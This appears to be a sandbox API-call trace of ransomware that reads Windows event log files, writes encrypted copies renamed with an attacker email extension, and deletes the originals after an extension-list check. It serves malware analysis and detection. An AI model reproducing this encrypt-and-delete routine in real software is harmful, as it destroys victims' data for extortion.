[0075.870] CloseHandle (hObject=0x2c4) returned 1 [0075.872] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.872] SetEndOfFile (hFile=0x378) returned 1 [0075.873] CloseHandle (hObject=0x378) returned 1 [0075.873] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0075.873] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0075.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.874] lstrlenW (lpString=".doc") returned 4 [0075.874] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString=".docx") returned 5 [0075.874] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0075.874] lstrlenW (lpString=".pdf") returned 4 [0075.874] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString=".xls") returned 4 [0075.874] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString=".xlsx") returned 5 [0075.874] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0075.874] lstrlenW (lpString=".ppt") returned 4 [0075.874] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.874] lstrlenW (lpString=".zip") returned 4 [0075.874] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString=".rar") returned 4 [0075.874] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString=".bz2") returned 4 [0075.874] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString=".7z") returned 3 [0075.874] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0075.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.874] lstrlenW (lpString=".dbf") returned 4 [0075.874] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.874] lstrlenW (lpString=".1cd") returned 4 [0075.874] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0075.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.875] lstrlenW (lpString=".jpg") returned 4 [0075.875] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.875] lstrlenW (lpString=".doc") returned 4 [0075.875] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString=".docx") returned 5 [0075.875] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0075.875] lstrlenW (lpString=".pdf") returned 4 [0075.875] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString=".xls") returned 4 [0075.875] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString=".xlsx") returned 5 [0075.875] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0075.875] lstrlenW (lpString=".ppt") returned 4 [0075.875] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.875] lstrlenW (lpString=".zip") returned 4 [0075.875] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString=".rar") returned 4 [0075.875] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString=".bz2") returned 4 [0075.875] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString=".7z") returned 3 [0075.875] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0075.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.875] lstrlenW (lpString=".dbf") returned 4 [0075.875] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.875] lstrlenW (lpString=".1cd") returned 4 [0075.875] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0075.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0075.875] lstrlenW (lpString=".jpg") returned 4 [0075.875] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0075.876] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0075.876] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0075.876] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.264] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1118208) returned 1 [0076.264] CloseHandle (hObject=0x378) returned 1 [0076.264] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0076.264] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.264] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.264] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.264] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.264] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.265] GetLastError () returned 0x0 [0076.265] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0076.288] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0076.510] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11010, lpOverlapped=0x0) returned 1 [0076.519] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11020, lpOverlapped=0x0) returned 1 [0076.524] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.524] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x134, lpOverlapped=0x0) returned 1 [0076.524] SetEndOfFile (hFile=0x31c) returned 1 [0077.004] CloseHandle (hObject=0x31c) returned 1 [0077.351] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.351] SetEndOfFile (hFile=0x378) returned 1 [0077.352] CloseHandle (hObject=0x378) returned 1 [0077.352] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.352] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0077.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.353] lstrlenW (lpString=".doc") returned 4 [0077.353] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString=".docx") returned 5 [0077.353] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.353] lstrlenW (lpString=".pdf") returned 4 [0077.353] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString=".xls") returned 4 [0077.353] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString=".xlsx") returned 5 [0077.353] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.353] lstrlenW (lpString=".ppt") returned 4 [0077.353] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.353] lstrlenW (lpString=".zip") returned 4 [0077.353] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString=".rar") returned 4 [0077.353] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString=".bz2") returned 4 [0077.353] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString=".7z") returned 3 [0077.353] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.353] lstrlenW (lpString=".dbf") returned 4 [0077.353] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.353] lstrlenW (lpString=".1cd") returned 4 [0077.353] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.354] lstrlenW (lpString=".jpg") returned 4 [0077.364] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.365] lstrlenW (lpString=".doc") returned 4 [0077.365] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString=".docx") returned 5 [0077.365] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.365] lstrlenW (lpString=".pdf") returned 4 [0077.365] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString=".xls") returned 4 [0077.365] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString=".xlsx") returned 5 [0077.365] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.365] lstrlenW (lpString=".ppt") returned 4 [0077.365] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.365] lstrlenW (lpString=".zip") returned 4 [0077.365] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString=".rar") returned 4 [0077.365] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString=".bz2") returned 4 [0077.365] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString=".7z") returned 3 [0077.365] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.365] lstrlenW (lpString=".dbf") returned 4 [0077.365] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.365] lstrlenW (lpString=".1cd") returned 4 [0077.365] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0077.365] lstrlenW (lpString=".jpg") returned 4 [0077.365] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.365] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.365] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0077.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0077.366] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0077.366] CloseHandle (hObject=0x378) returned 1 [0077.366] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0077.366] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0077.366] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.366] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0077.367] GetLastError () returned 0x0 [0077.367] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.369] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.371] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.371] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12a, lpOverlapped=0x0) returned 1 [0077.371] SetEndOfFile (hFile=0x31c) returned 1 [0077.372] CloseHandle (hObject=0x31c) returned 1 [0077.374] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.374] SetEndOfFile (hFile=0x378) returned 1 [0077.375] CloseHandle (hObject=0x378) returned 1 [0077.375] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.375] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0077.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.376] lstrlenW (lpString=".doc") returned 4 [0077.376] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString=".docx") returned 5 [0077.376] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.376] lstrlenW (lpString=".pdf") returned 4 [0077.376] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString=".xls") returned 4 [0077.376] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString=".xlsx") returned 5 [0077.376] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.376] lstrlenW (lpString=".ppt") returned 4 [0077.376] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.376] lstrlenW (lpString=".zip") returned 4 [0077.376] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString=".rar") returned 4 [0077.376] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString=".bz2") returned 4 [0077.376] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString=".7z") returned 3 [0077.376] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.376] lstrlenW (lpString=".dbf") returned 4 [0077.376] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.376] lstrlenW (lpString=".1cd") returned 4 [0077.376] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.376] lstrlenW (lpString=".jpg") returned 4 [0077.376] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.377] lstrlenW (lpString=".doc") returned 4 [0077.377] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString=".docx") returned 5 [0077.377] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.377] lstrlenW (lpString=".pdf") returned 4 [0077.377] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString=".xls") returned 4 [0077.377] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString=".xlsx") returned 5 [0077.377] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.377] lstrlenW (lpString=".ppt") returned 4 [0077.377] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.377] lstrlenW (lpString=".zip") returned 4 [0077.377] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString=".rar") returned 4 [0077.377] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString=".bz2") returned 4 [0077.377] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString=".7z") returned 3 [0077.377] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.377] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.377] lstrlenW (lpString=".dbf") returned 4 [0077.377] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.377] lstrlenW (lpString=".1cd") returned 4 [0077.377] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.377] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0077.377] lstrlenW (lpString=".jpg") returned 4 [0077.377] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.377] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.378] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0077.378] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0077.379] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0077.379] CloseHandle (hObject=0x378) returned 1 [0077.379] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0077.379] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.379] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0077.379] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.379] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.379] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0077.380] GetLastError () returned 0x0 [0077.380] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.382] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.384] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.384] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x136, lpOverlapped=0x0) returned 1 [0077.384] SetEndOfFile (hFile=0x31c) returned 1 [0077.385] CloseHandle (hObject=0x31c) returned 1 [0078.450] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.450] SetEndOfFile (hFile=0x378) returned 1 [0078.532] CloseHandle (hObject=0x378) returned 1 [0078.532] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.532] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0078.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.532] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.532] lstrlenW (lpString=".doc") returned 4 [0078.533] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.533] lstrlenW (lpString=".docx") returned 5 [0078.533] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 